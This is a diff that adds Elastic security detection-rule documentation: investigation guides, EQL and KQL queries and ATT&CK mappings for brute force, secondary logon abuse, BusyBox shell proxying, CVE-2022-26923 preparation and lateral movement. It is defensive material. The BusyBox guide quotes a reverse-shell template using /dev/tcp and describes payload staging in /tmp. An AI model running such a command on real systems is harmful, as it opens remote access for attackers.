+- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.
+- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.
+- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.
+- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by winlog.computer_name, source.ip with maxspan=10s
+  [authentication where host.os.type == "windows" and
+    event.action == "logon-failed" and winlog.logon.type : "Network" and
+    source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1" and user.name : "*admin*" and
+
+    /* noisy failure status codes often associated to authentication misconfiguration */
+    not winlog.event_data.Status : ("0xC000015B", "0XC000005E", "0XC0000133", "0XC0000192")] with runs=5
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Brute Force
+** ID: T1110
+** Reference URL: https://attack.mitre.org/techniques/T1110/
+* Sub-technique:
+** Name: Password Guessing
+** ID: T1110.001
+** Reference URL: https://attack.mitre.org/techniques/T1110/001/
+* Sub-technique:
+** Name: Password Spraying
+** ID: T1110.003
+** Reference URL: https://attack.mitre.org/techniques/T1110/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-process-creation-via-secondary-logon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-process-creation-via-secondary-logon.asciidoc
new file mode 100644
index 0000000000..5e58d5eded
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-process-creation-via-secondary-logon.asciidoc
@@ -0,0 +1,139 @@
+[[prebuilt-rule-8-19-11-process-creation-via-secondary-logon]]
+=== Process Creation via Secondary Logon
+
+Identifies process creation with alternate credentials. Adversaries may create a new process with a different token to escalate privileges and bypass access controls.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://attack.mitre.org/techniques/T1134/002/
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Privilege Escalation
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 115
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Process Creation via Secondary Logon*
+
+
+The Secondary Logon service in Windows allows users to run processes with different credentials, facilitating legitimate administrative tasks. However, adversaries can exploit this to escalate privileges by creating processes with alternate tokens, bypassing access controls. The detection rule identifies such abuse by monitoring successful logins via the Secondary Logon service and subsequent process creation, linking them through unique logon identifiers.
+
+
+*Possible investigation steps*
+
+
+- Review the event logs for the specific TargetLogonId to identify the user account associated with the process creation and verify if the account is authorized to use alternate credentials.
+- Examine the source IP address "::1" to confirm if the process creation originated from the local machine, which might indicate a local privilege escalation attempt.
+- Investigate the process name "svchost.exe" to determine if it is being used legitimately or if it has been exploited for malicious purposes, such as running unauthorized services.
+- Check the sequence of events within the 1-minute maxspan to identify any unusual or suspicious activities that occurred immediately before or after the process creation.
+- Correlate the detected activity with other security alerts or logs to identify any patterns or additional indicators of compromise that might suggest a broader attack campaign.
+
+
+*False positive analysis*
+
+
+- Legitimate administrative tasks using the Secondary Logon service can trigger alerts. To manage this, identify and whitelist specific administrative accounts or tasks that frequently use this service for legitimate purposes.
+- Scheduled tasks or automated scripts that use alternate credentials for routine operations may cause false positives. Review and exclude these tasks by creating exceptions for known scripts or scheduled jobs.
+- Internal IT support activities often involve using alternate credentials for troubleshooting or maintenance. Document and exclude these activities by maintaining a list of support personnel and their typical actions.
+- Software updates or installations that require elevated privileges might be flagged. Monitor and exclude these processes by identifying and documenting the update mechanisms used within the organization.
+- Development or testing environments where alternate credentials are used for testing purposes can generate alerts. Exclude these environments by setting up specific rules that recognize and ignore these non-production activities.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary.
+- Terminate any suspicious processes identified as being created via the Secondary Logon service, especially those linked to the unique logon identifiers from the alert.
+- Review and revoke any alternate credentials or tokens used in the suspicious process creation to prevent further misuse.
+- Conduct a thorough examination of the affected system for additional signs of compromise, such as unauthorized user accounts or changes to system configurations.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach.
+- Implement stricter access controls and monitoring on the Secondary Logon service to detect and prevent similar privilege escalation attempts in the future.
+- Update and reinforce endpoint detection and response (EDR) solutions to enhance monitoring of process creation events and logon activities, ensuring they are aligned with the latest threat intelligence.
+
+==== Setup
+
+
+
+*Setup*
+
+
+Audit events 4624 and 4688 are needed to trigger this rule.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by winlog.computer_name with maxspan=1m
+
+[authentication where host.os.type == "windows" and event.action:"logged-in" and
+ event.outcome == "success" and user.id : ("S-1-5-21-*", "S-1-12-1-*") and
+
+ /* seclogon service */
+ process.name == "svchost.exe" and
+ winlog.event_data.LogonProcessName : "seclogo*" and source.ip == "::1" ] by winlog.event_data.TargetLogonId
+
+[process where host.os.type == "windows" and event.type == "start"] by winlog.event_data.TargetLogonId
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Privilege Escalation
+** ID: TA0004
+** Reference URL: https://attack.mitre.org/tactics/TA0004/
+* Technique:
+** Name: Access Token Manipulation
+** ID: T1134
+** Reference URL: https://attack.mitre.org/techniques/T1134/
+* Sub-technique:
+** Name: Create Process with Token
+** ID: T1134.002
+** Reference URL: https://attack.mitre.org/techniques/T1134/002/
+* Sub-technique:
+** Name: Make and Impersonate Token
+** ID: T1134.003
+** Reference URL: https://attack.mitre.org/techniques/T1134/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-proxy-shell-execution-via-busybox.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-proxy-shell-execution-via-busybox.asciidoc
new file mode 100644
index 0000000000..0304e7747a
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-proxy-shell-execution-via-busybox.asciidoc
@@ -0,0 +1,172 @@
+[[prebuilt-rule-8-19-11-proxy-shell-execution-via-busybox]]
+=== Proxy Shell Execution via Busybox
+
+Detects the execution of a shell through Busybox. Attackers may use this technique to execute shells while attempting to evade detection.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-endpoint.events.process*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://gtfobins.github.io/gtfobins/busybox/
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Linux
+* Use Case: Threat Detection
+* Tactic: Defense Evasion
+* Tactic: Execution
+* Data Source: Elastic Defend
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Proxy Shell Execution via Busybox*
+
+
+This rule identifies Linux shells started via Busybox, indicating proxy execution to sidestep controls that focus on direct shell binaries. Adversaries leverage Busybox’s ubiquity and static build to blend in, obscure parentage, and run commands in constrained or minimal environments. A common pattern is copying a standalone busybox into /tmp on a container or embedded host, making it executable, then invoking busybox sh to run one-liners, pull payloads, and stage persistence.
+
+
+*Possible investigation steps*
+
+
+- Correlate the event to a user session or container exec by pivoting to TTY/session ID, SSH auth logs, and Kubernetes/Docker exec audits to verify whether it was an authorized action.
+- Determine Busybox provenance by checking its path and file metadata (non-standard location, recent write, unusual owner/capabilities or symlink), confirming package ownership, and hashing against trusted repositories and threat intelligence.
+- Expand the process tree 10–15 minutes around the event to find staging steps (curl/wget/tftp, chmod, mv) and post-shell behavior (reverse shells, crypto miners, persistence writes).
+- Collect live context for the shell (current working directory, environment, open sockets, controlling TTY, effective user) to quickly decide if it is interactive misuse or command staging.
+- Hunt across hosts for similar Busybox-to-shell chains and review persistence artifacts and new files in writable dirs (crontab, systemd units, rc files, authorized_keys, /tmp, /dev/shm) to catch follow-on activity.
+
+
+*False positive analysis*
+
+
+- An administrator performing recovery on a minimal host may copy a static busybox and start an interactive sh with no arguments for troubleshooting, producing a busybox-to-shell chain that is expected.
+- Legitimate privilege-switch or login workflows using Busybox applets (e.g., su or login) can spawn a bare sh without -c for an authenticated session, so confirm a controlling TTY, expected user, and standard paths before treating it as malicious.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the impacted host or container at the network level, terminate any shells whose parent is busybox, and block outbound traffic initiated by those shells (e.g., nc, curl/wget, ssh to unknown IPs).
+- Identify and remove rogue busybox copies or symlinks in writable locations such as /tmp, /var/tmp, and /dev/shm by revoking execute permissions or deleting them, and capture file hashes, paths, and mtimes for evidence.
+- Remove persistence and droppers created by the busybox-spawned shell by cleaning newly added cron entries under /etc/cron.*, systemd units in /etc/systemd/system, rc.local edits, and suspicious authorized_keys or ~/.bashrc/.profile changes, then reboot if kernel modules or LD_PRELOAD were modified.
+- Reset passwords, rotate SSH keys and tokens used in the session, rebuild affected containers from clean images or reimage hosts if system binaries were changed, and restore services only after verifying no busybox-to-shell chains launch at startup.
+- Escalate to incident response if the busybox-launched shell ran as root, established a reverse connection (e.g., bash -i >& /dev/tcp/<IP>/<port>), created SUID files, or dropped payloads in /tmp, /var/tmp, or /dev/shm, or if a new busybox binary was downloaded or touched minutes before execution.
+- Harden by enforcing noexec,nosuid,nodev mounts on /tmp and /var/tmp, constraining busybox with AppArmor/SELinux to block spawning interactive shells or execution from world-writable paths, locking down container runtime exec and capabilities (e.g., disable kubectl/docker exec for non-admins, remove CAP_SYS_ADMIN), and implementing file integrity monitoring on busybox and standard shells.
+
+
+==== Setup
+
+
+
+*Setup*
+
+
+This rule requires data coming in from Elastic Defend.
+
+
+*Elastic Defend Integration Setup*
+
+Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.
+
+
+*Prerequisite Requirements:*
+
+- Fleet is required for Elastic Defend.
+- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation].
+
+
+*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:*
+
+- Go to the Kibana home page and click "Add integrations".
+- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
+- Click "Add Elastic Defend".
+- Configure the integration name and optionally add a description.
+- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
+- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide].
+- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
+- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
+For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide].
+- Click "Save and Continue".
+- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
+For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+process where host.os.type == "linux" and  event.type == "start" and event.action == "exec" and process.parent.name == "busybox" and
+process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
+process.command_line in ("bash", "bash-", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
+not (
+  process.args == "-c" or
+  process.parent.args : (
+    "crond", "/usr/sbin/crond", "/local-registrator.sh", "/var/atlassian/application-data/bamboo-agent*"
+  ) or
+  process.parent.command_line in (
+    "sh /readonly-config/fix-split-brain.sh",
+    "/bin/sh -c /health-check.sh || bash -c 'kill -s 15 $(pidof siridb-server) && (sleep 10; kill -s 9 $(pidof siridb-server))'"
+  ) or
+  process.command_line == "bash /etc/kafka/docker/run" or
+  process.parent.command_line like (
+    "/bin/sh -c apk add*", "/bin/sh -c crm-cron-enabled*", "udhcpc -n -p /run/udhcpc.*", "flock -x*"
+  ) or
+  process.working_directory == "/usr/share/grafana"
+)
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: System Binary Proxy Execution
+** ID: T1218
+** Reference URL: https://attack.mitre.org/techniques/T1218/
+* Tactic:
+** Name: Execution
+** ID: TA0002
+** Reference URL: https://attack.mitre.org/tactics/TA0002/
+* Technique:
+** Name: Command and Scripting Interpreter
+** ID: T1059
+** Reference URL: https://attack.mitre.org/techniques/T1059/
+* Sub-technique:
+** Name: Unix Shell
+** ID: T1059.004
+** Reference URL: https://attack.mitre.org/techniques/T1059/004/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-remote-computer-account-dnshostname-update.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-remote-computer-account-dnshostname-update.asciidoc
new file mode 100644
index 0000000000..cf9e16f424
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-remote-computer-account-dnshostname-update.asciidoc
@@ -0,0 +1,132 @@
+[[prebuilt-rule-8-19-11-remote-computer-account-dnshostname-update]]
+=== Remote Computer Account DnsHostName Update
+
+Identifies the remote update to a computer account's DnsHostName attribute. If the new value set is a valid domain controller DNS hostname and the subject computer name is not a domain controller, then it's highly likely a preparation step to exploit CVE-2022-26923 in an attempt to elevate privileges from a standard domain user to domain admin privileges.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
+* https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-26923
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Privilege Escalation
+* Use Case: Active Directory Monitoring
+* Data Source: Active Directory
+* Use Case: Vulnerability
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 213
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Remote Computer Account DnsHostName Update*
+
+
+In Active Directory environments, the DnsHostName attribute links computer accounts to their DNS names, crucial for network communication. Adversaries may exploit this by altering a non-domain controller's DnsHostName to mimic a domain controller, potentially exploiting vulnerabilities like CVE-2022-26923 for privilege escalation. The detection rule identifies suspicious changes by monitoring for remote updates to this attribute, especially when the new hostname resembles a domain controller's, flagging potential exploitation attempts.
+
+
+*Possible investigation steps*
+
+
+- Review the event logs to confirm the occurrence of the "changed-computer-account" action, focusing on the user.id fields ("S-1-5-21-*", "S-1-12-1-*") to identify the user who initiated the change.
+- Verify the new DnsHostName value against the list of legitimate domain controller DNS hostnames to assess if it matches any known domain controllers.
+- Check the winlog.event_data.TargetUserName to ensure that the DnsHostName does not start with the computer name that was changed, which could indicate a false positive.
+- Investigate the account associated with the user.id to determine if it has a history of suspicious activity or if it has been compromised.
+- Examine recent changes or activities on the affected computer account to identify any unauthorized access or configuration changes.
+- Correlate this event with other security alerts or logs to identify potential patterns or coordinated activities that might indicate a broader attack.
+
+
+*False positive analysis*
+
+
+- Routine maintenance or updates to computer accounts may trigger the rule if the DnsHostName is temporarily set to a domain controller-like name. To manage this, create exceptions for known maintenance periods or specific administrative accounts performing these updates.
+- Automated scripts or tools that update computer account attributes might inadvertently match the rule's conditions. Identify and exclude these scripts or tools by their user IDs or specific patterns in their operations.
+- Legitimate changes in network architecture, such as the promotion of a server to a domain controller, could be flagged. Ensure that such changes are documented and create exceptions for the involved accounts or systems during the transition period.
+- Temporary testing environments where non-domain controllers are configured with domain controller-like hostnames for testing purposes can cause false positives. Exclude these environments by their specific hostnames or network segments.
+- Regularly review and update the list of known domain controller hostnames to ensure that legitimate changes in the network are not mistakenly flagged as suspicious.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected computer from the network to prevent further unauthorized changes or potential exploitation.
+- Verify the legitimacy of the DnsHostName change by cross-referencing with known domain controller hostnames and authorized change requests.
+- Revert any unauthorized changes to the DnsHostName attribute to its original state to restore proper network communication and prevent misuse.
+- Conduct a thorough review of recent account activities and permissions for the user account involved in the change to identify any unauthorized access or privilege escalation attempts.
+- Escalate the incident to the security operations team for further investigation and to assess potential exploitation of CVE-2022-26923 or other vulnerabilities.
+- Implement additional monitoring on the affected system and similar systems to detect any further suspicious activities or attempts to exploit vulnerabilities.
+- Review and update access controls and permissions for computer accounts in Active Directory to ensure only authorized personnel can make changes to critical attributes like DnsHostName.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+iam where host.os.type == "windows" and event.action == "changed-computer-account" and
+    user.id : ("S-1-5-21-*", "S-1-12-1-*") and
+
+    /* if DnsHostName value equal a DC DNS hostname then it's highly suspicious */
+    winlog.event_data.DnsHostName : "??*" and
+
+    /* exclude FPs where DnsHostName starts with the ComputerName that was changed */
+    not startswith~(winlog.event_data.DnsHostName, substring(winlog.event_data.TargetUserName, 0, length(winlog.event_data.TargetUserName) - 1))
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Privilege Escalation
+** ID: TA0004
+** Reference URL: https://attack.mitre.org/tactics/TA0004/
+* Technique:
+** Name: Exploitation for Privilege Escalation
+** ID: T1068
+** Reference URL: https://attack.mitre.org/techniques/T1068/
+* Technique:
+** Name: Valid Accounts
+** ID: T1078
+** Reference URL: https://attack.mitre.org/techniques/T1078/
+* Sub-technique:
+** Name: Domain Accounts
+** ID: T1078.002
+** Reference URL: https://attack.mitre.org/techniques/T1078/002/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-remote-file-creation-in-world-writeable-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-remote-file-creation-in-world-writeable-directory.asciidoc
new file mode 100644
index 0000000000..e27b4330e0
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-remote-file-creation-in-world-writeable-directory.asciidoc
@@ -0,0 +1,173 @@
+[[prebuilt-rule-8-19-11-remote-file-creation-in-world-writeable-directory]]
+=== Remote File Creation in World Writeable Directory
+
+This rule detects the creation of a file in a world-writeable directory through a service that is commonly used for file transfer. This behavior is often associated with lateral movement and can be an indicator of an attacker attempting to move laterally within a network.
+
+*Rule type*: new_terms
+
+*Rule indices*: 
+
+* logs-endpoint.events.file*
+* auditbeat-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Linux
+* Use Case: Threat Detection
+* Tactic: Lateral Movement
+* Data Source: Elastic Defend
+* Resources: Investigation Guide
+
+*Version*: 4
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Remote File Creation in World Writeable Directory*
+
+
+In Linux environments, world-writeable directories like `/tmp` and `/var/tmp` are used for temporary file storage, accessible by all users. Adversaries exploit these directories to deposit malicious files via remote services such as SSH or FTP, facilitating lateral movement. The detection rule identifies file creation events in these directories by non-root users using common file transfer services, signaling potential unauthorized activity.
+
+
+*Possible investigation steps*
+
+
+- Review the file creation event details, focusing on the file path to determine if it matches any known malicious patterns or if it is unusual for the environment.
+- Identify the user associated with the file creation event by examining the user.id field, and verify if this user should have access to the affected directory.
+- Investigate the process responsible for the file creation by analyzing the process.name field to determine if it aligns with expected usage patterns for the user and system.
+- Check the source IP address and connection details related to the file transfer service used (e.g., SSH, FTP) to identify any suspicious or unauthorized access attempts.
+- Correlate the event with other recent activities on the host to identify any patterns of lateral movement or other suspicious behavior.
+- Review historical data for similar file creation events by the same user or process to assess if this is part of a recurring pattern or an isolated incident.
+
+
+*False positive analysis*
+
+
+- Routine administrative tasks: System administrators often use file transfer services like scp or rsync to move files for legitimate purposes. To reduce false positives, create exceptions for known administrative accounts or specific file paths that are regularly used for maintenance.
+- Automated scripts and cron jobs: Automated processes may create temporary files in world-writeable directories. Identify and whitelist these scripts or jobs by their process names or user accounts to prevent unnecessary alerts.
+- Software updates and installations: Some software updates or installations may temporarily use world-writeable directories. Monitor and document these activities, and consider excluding specific update processes or package managers from the rule.
+- Development and testing environments: Developers may use these directories for testing purposes. Establish a separate monitoring policy for development environments or exclude known developer accounts to minimize false positives.
+- Backup operations: Backup tools might use temporary directories for staging files. Identify these tools and their typical behavior, and create exceptions based on their process names or user IDs.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected system from the network to prevent further lateral movement by the adversary.
+- Terminate any suspicious processes associated with file transfer services (e.g., scp, ssh, ftp) that are not part of legitimate user activity.
+- Remove any unauthorized files created in world-writeable directories such as /tmp, /var/tmp, or /dev/shm to eliminate potential threats.
+- Conduct a thorough review of user accounts and permissions, focusing on non-root users who have recently accessed the system, to identify any unauthorized access.
+- Reset credentials for compromised or potentially compromised accounts to prevent further unauthorized access.
+- Monitor network traffic for unusual patterns or connections to external IP addresses that may indicate ongoing or additional compromise attempts.
+- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been affected, ensuring a coordinated response.
+
+
+==== Setup
+
+
+
+*Setup*
+
+
+This rule requires data coming in from one of the following integrations:
+- Elastic Defend
+- Auditbeat
+
+
+*Elastic Defend Integration Setup*
+
+Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.
+
+
+*Prerequisite Requirements:*
+
+- Fleet is required for Elastic Defend.
+- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation].
+
+
+*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:*
+
+- Go to the Kibana home page and click "Add integrations".
+- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
+- Click "Add Elastic Defend".
+- Configure the integration name and optionally add a description.
+- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
+- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide].
+- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
+- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
+For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide].
+- Click "Save and Continue".
+- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
+For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide].
+
+
+*Auditbeat Setup*
+
+Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations.
+
+
+*The following steps should be executed in order to add the Auditbeat on a Linux System:*
+
+- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages.
+- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide].
+- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide].
+- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide].
+- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.category:file and host.os.type:linux and event.action:creation and
+process.name:(ftp or rsync or scp or sftp or sftp-server or ssh or sshd or vsftpd) and
+file.path:((/dev/shm/* or /tmp* or /var/tmp*) and not (/tmp/ansible-tmp-* or /var/tmp/ansible-tmp-*)) and
+not user.id:0
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Lateral Movement
+** ID: TA0008
+** Reference URL: https://attack.mitre.org/tactics/TA0008/
+* Technique:
+** Name: Remote Services
+** ID: T1021
+** Reference URL: https://attack.mitre.org/techniques/T1021/
+* Sub-technique:
+** Name: SSH
+** ID: T1021.004
+** Reference URL: https://attack.mitre.org/techniques/T1021/004/
+* Technique:
+** Name: Lateral Tool Transfer
+** ID: T1570
+** Reference URL: https://attack.mitre.org/techniques/T1570/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-remote-scheduled-task-creation-via-rpc.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-remote-scheduled-task-creation-via-rpc.asciidoc
new file mode 100644
index 0000000000..042c65eb5b
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-remote-scheduled-task-creation-via-rpc.asciidoc
@@ -0,0 +1,120 @@
+[[prebuilt-rule-8-19-11-remote-scheduled-task-creation-via-rpc]]
+=== Remote Scheduled Task Creation via RPC
+
+Identifies scheduled task creation from a remote source. This could be indicative of adversary lateral movement.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Lateral Movement
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 114
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Remote Scheduled Task Creation via RPC*
+
+
+https://docs.microsoft.com/en-us/windows/win32/taskschd/about-the-task-scheduler[Scheduled tasks] are a great mechanism for persistence and program execution. These features can be used remotely for a variety of legitimate reasons, but at the same time used by malware and adversaries. When investigating scheduled tasks that were set up remotely, one of the first steps should be to determine the original intent behind the configuration and to verify if the activity is tied to benign behavior such as software installation or any kind of network administrator work. One objective for these alerts is to understand the configured action within the scheduled task. This is captured within the registry event data for this rule and can be base64 decoded to view the value.
+
+
+*Possible investigation steps*
+
+
+- Review the TaskContent value to investigate the task configured action.
+- Validate if the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations.
+- Further examination should include review of host-based artifacts and network logs from around when the scheduled task was created, on both the source and target machines.
+
+
+*False positive analysis*
+
+
+- There is a high possibility of benign activity tied to the creation of remote scheduled tasks as it is a general feature within Windows and used for legitimate purposes for a wide range of activity. Any kind of context should be found to further understand the source of the activity and determine the intent based on the scheduled task's contents.
+
+
+*Related rules*
+
+
+- Service Command Lateral Movement - d61cbcf8-1bc1-4cff-85ba-e7b21c5beedc
+- Remotely Started Services via RPC - aa9a274d-6b53-424d-ac5e-cb8ca4251650
